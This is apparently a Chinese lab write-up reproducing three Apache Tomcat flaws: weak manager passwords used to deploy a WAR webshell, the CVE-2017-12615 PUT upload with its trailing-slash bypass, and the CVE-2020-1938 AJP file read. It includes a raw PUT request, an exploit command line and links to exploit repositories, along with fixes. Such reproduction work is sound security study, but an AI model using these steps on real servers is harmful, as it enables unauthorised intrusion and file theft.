Tomcat漏洞CVE-2017-12615 CVE-2020-1938 tomcat8漏洞复现分析

目录

(一)Tomcat介绍

(二)Tomcat漏洞

1、Tomcat常见漏洞

(三)Tomcat弱口

1、漏洞介绍

2、漏洞原理

3、漏洞复现

3.1 进入靶场并打开环境

3.2 ip+端口

 3.3 访问 http://xxx/manager/html

 3.4 使用弱口令或者爆破的方式进入管理页面

 3.5 生成war包木马

3.6 上传木马到服务器

3.7 使用冰蝎连接

4、修复

(四)Tomcat PUT上传

 1、漏洞介绍

2、漏洞原理

 3、漏洞复现

3.1、访问存在漏洞的页面

 3.2 BP抓包

(五)Apache Tomcat文件包含漏洞

0x01 漏洞介绍

GitHub - YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi: Tomcat-Ajp协议文件读取漏洞

0x02 影响版本

0x03 漏洞分析

3.1 AJP Connector

3.2 代码解析

3.3 任意文件读取

0x04 漏洞复现

1、cd CVE-2020-1938 然后 docker-compose up 再查看端口

 2、漏洞验证:

3、攻击机尝试利用exp读取该文件

0x05 漏洞修补


            由于笔者个人水平有限,行文如有不当,还请各位师傅评论指正,非常感谢!!!

(一)Tomcat介绍


        Tomcat是 Apache 软件基金会(Apache Software Foundation)的 Jakarta 项目中的一个核心项目,由 Apache 、 Sun 和其他一些公司及个人共同开发而成。由于有了 Sun 的参与和支持,最新的 Servlet JSP 规范总是能在 Tomcat 中得到体现, Tomcat 5 支持最新的 Servlet 2.4 JSP 2.0 规范。因为 Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为比较流行的 Web 应用服务器。
        Tomcat 服务器是一个免费的开放源代码的 Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应 HTML (标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是 Apache 服务器的扩展,但运行时它是独立运行的,所以当你运行 tomcat 时,它实际上作为一个与
Apache 独立的进程单独运行的。

(二)Tomcat漏洞


1、Tomcat常见漏洞

  • Tomcat AJP 文件包含漏洞
  • Tomcat弱口令
  • Tomcat反序列化漏洞(CVE­2016­8735)
  • Tomcat本地提权漏洞(CVE­2016­1240)
  • TomcatJMX服务弱口令漏洞
  • TomcatPUT的上传漏洞(CVE­2017­12615)
  • Tomcat win版默认空口令漏洞(CVE­2009­3548)
  • Tomcat 样例目录session操控漏洞

(三)Tomcat弱口


1、漏洞介绍


tomcat存在管理后台进行应用部署管理,且管理后台使用HTTP基础认证进行登录。若用户口令为弱口令,攻击者容易进行暴力破解登录后台并进行应用管理。Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。

2、漏洞原理


1 、在 Tomcat 配置文件中存在弱口令
# 切换到配置目录 cd /usr/local/tomcat/conf 
# 查看配置文件 cat tomcat­users.xml

Tomcat漏洞CVE-2017-12615 CVE-2020-1938 tomcat8漏洞复现分析_第1张图片

 2、BP用常用字典爆破

3、漏洞复现


3.1 进入靶场并打开环境

Tomcat漏洞CVE-2017-12615 CVE-2020-1938 tomcat8漏洞复现分析_第2张图片

 

3.2 ip+端口

Tomcat漏洞CVE-2017-12615 CVE-2020-1938 tomcat8漏洞复现分析_第3张图片

 3.3 访问 http://xxx/manager/html

Tomcat漏洞CVE-2017-12615 CVE-2020-1938 tomcat8漏洞复现分析_第4张图片

 3.4 使用弱口令或者爆破的方式进入管理页面

Tomcat漏洞CVE-2017-12615 CVE-2020-1938 tomcat8漏洞复现分析_第5张图片

 3.5 生成war包木马

jar cvf shell.war shell.jsp

Tomcat漏洞CVE-2017-12615 CVE-2020-1938 tomcat8漏洞复现分析_第6张图片

3.6 上传木马到服务器

Tomcat漏洞CVE-2017-12615 CVE-2020-1938 tomcat8漏洞复现分析_第7张图片

3.7 使用冰蝎连接

Tomcat漏洞CVE-2017-12615 CVE-2020-1938 tomcat8漏洞复现分析_第8张图片

 

4、修复


        添加加密算法,更改弱口令

(四)Tomcat PUT上传


 1、漏洞介绍


CVE-2017-12615 对应的漏洞为任意文件写入,由于配置不当(非默认配置),导致可以使用 PUT 方法上传任意文件

2、漏洞原理


        在Tomcat 配置文件设置了 PUT 上传方法,在 web.xml 文件,可以发现,默认 readonly true ,当 readonly设置为 false 时,可以通过 PUT / DELETE 进行文件操控

Tomcat漏洞CVE-2017-12615 CVE-2020-1938 tomcat8漏洞复现分析_第9张图片

 3、漏洞复现


3.1、访问存在漏洞的页面

Tomcat漏洞CVE-2017-12615 CVE-2020-1938 tomcat8漏洞复现分析_第10张图片

 3.2 BP抓包

虽然 Tomcat 对文件后缀有一定检测(不能直接写 jsp ),但我们使用一些文件系统的特性(如 Linux 下可用 / )来绕过了限制
PUT /1.jsp/ HTTP/1.1 
Host: your­ip:8080 
Accept: */* 
Accept­Language: en 
User­Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close 
Content­Type: application/x­www­form­urlencoded 
Content­Length: 5 


shell

Tomcat漏洞CVE-2017-12615 CVE-2020-1938 tomcat8漏洞复现分析_第11张图片

 其他的同上,中国蚁剑也可以

Tomcat漏洞CVE-2017-12615 CVE-2020-1938 tomcat8漏洞复现分析_第12张图片

 最后关闭靶场环境。

(五)Apache Tomcat文件包含漏洞


0x01 漏洞介绍


        CNVD-2020-10487/CVE-2020-1938是文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件、源代码等,

GitHub - YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi: Tomcat-Ajp协议文件读取漏洞

0x02 影响版本


  • Apache Tomcat 9.x < 9.0.31
  • Apache Tomcat 8.x < 8.5.51
  • Apache Tomcat 7.x < 7.0.100
  • Apache Tomcat 6.x

0x03 漏洞分析


3.1 AJP Connector

Apache Tomcat服务器通过Connector连接器组件与客户程序建立连接,Connector表示接收请求并返回响应的端点。即Connector组件负责接收客户的请求,以及把Tomcat服务器的响应结果发送给客户。在Apache Tomcat服务器中我们平时用的最多的8080端口,就是所谓的Http Connector,使用Http(HTTP/1.1)协议

在conf/server.xml文件里,它对应的配置为:

  

而 AJP Connector,它使用的是 AJP 协议(Apache Jserv Protocol)是定向包协议。因为性能原因,使用二进制格式来传输可读性文本,它能降低 HTTP 请求的处理成本,因此主要在需要集群、反向代理的场景被使用。

Ajp协议对应的配置为:

   

Tomcat服务器默认对外网开启该端口 Web客户访问Tomcat服务器的两种方式:

Tomcat漏洞CVE-2017-12615 CVE-2020-1938 tomcat8漏洞复现分析_第13张图片

 

3.2 代码解析

在处理Ajp请求内容的是org.apache.coyote.ajp.AbstractAjpProcessor.java#prepareRequest()

Tomcat漏洞CVE-2017-12615 CVE-2020-1938 tomcat8漏洞复现分析_第14张图片

 

这里首先判断SC_A_REQ_ATTRIBUTE,意思是如果使用的Ajp属性并不在上述的列表中,那么就进入这个条件

Tomcat漏洞CVE-2017-12615 CVE-2020-1938 tomcat8漏洞复现分析_第15张图片

 SC_A_REQ_REMOTE_PORT对应的是AJP_REMOTE_PORT,这里指的是对远程端口的转发,Ajp13并没有转发远程端口,但是接受转发的数据作为远程端口。

 

于是这里我们可以进行对Ajp设置特定的属性,封装为request对象的Attribute属性 比如以下三个属性可以被设置:

javax.servlet.include.request_uri

javax.servlet.include.path_info

javax.servlet.include.servlet_path

3.3 任意文件读取

Tomcat漏洞CVE-2017-12615 CVE-2020-1938 tomcat8漏洞复现分析_第16张图片

 

当请求被分发到org.apache.catalina.servlets.DefaultServlet#serveResource()方法时:
 

调用getRelativePath方法,需要获取到request_uri不为null,然后从request对象中获取并设置pathInfo属性值和servletPath属性值

Tomcat漏洞CVE-2017-12615 CVE-2020-1938 tomcat8漏洞复现分析_第17张图片

 接着往下看到getResource方法时,会把path作为参数传入,获取到文件的源码

Tomcat漏洞CVE-2017-12615 CVE-2020-1938 tomcat8漏洞复现分析_第18张图片

 

0x04 漏洞复现


1、cd CVE-2020-1938 然后 docker-compose up 再查看端口

Tomcat漏洞CVE-2017-12615 CVE-2020-1938 tomcat8漏洞复现分析_第19张图片

web服务端口为8080,8009为AJP服务端口,打开浏览器输入虚拟机+8080出现下图则说明环境搭建成功。

Tomcat漏洞CVE-2017-12615 CVE-2020-1938 tomcat8漏洞复现分析_第20张图片

 

 2、漏洞验证:

把下面任意一个下到本地,要有python环境,推荐用kali比较方便

https://github.com/0nise/CVE-2020-1938
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

3、攻击机尝试利用exp读取该文件

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.x.x -p 8009 -f WEB-INF/shell.txt

0x05 漏洞修补


  1. 关闭AJP默认开启端口(这里是8009)
  2. 升级tomcat,新版本已经修复漏洞。

你可能感兴趣的:(vulhub漏洞复现,tomcat,java,服务器)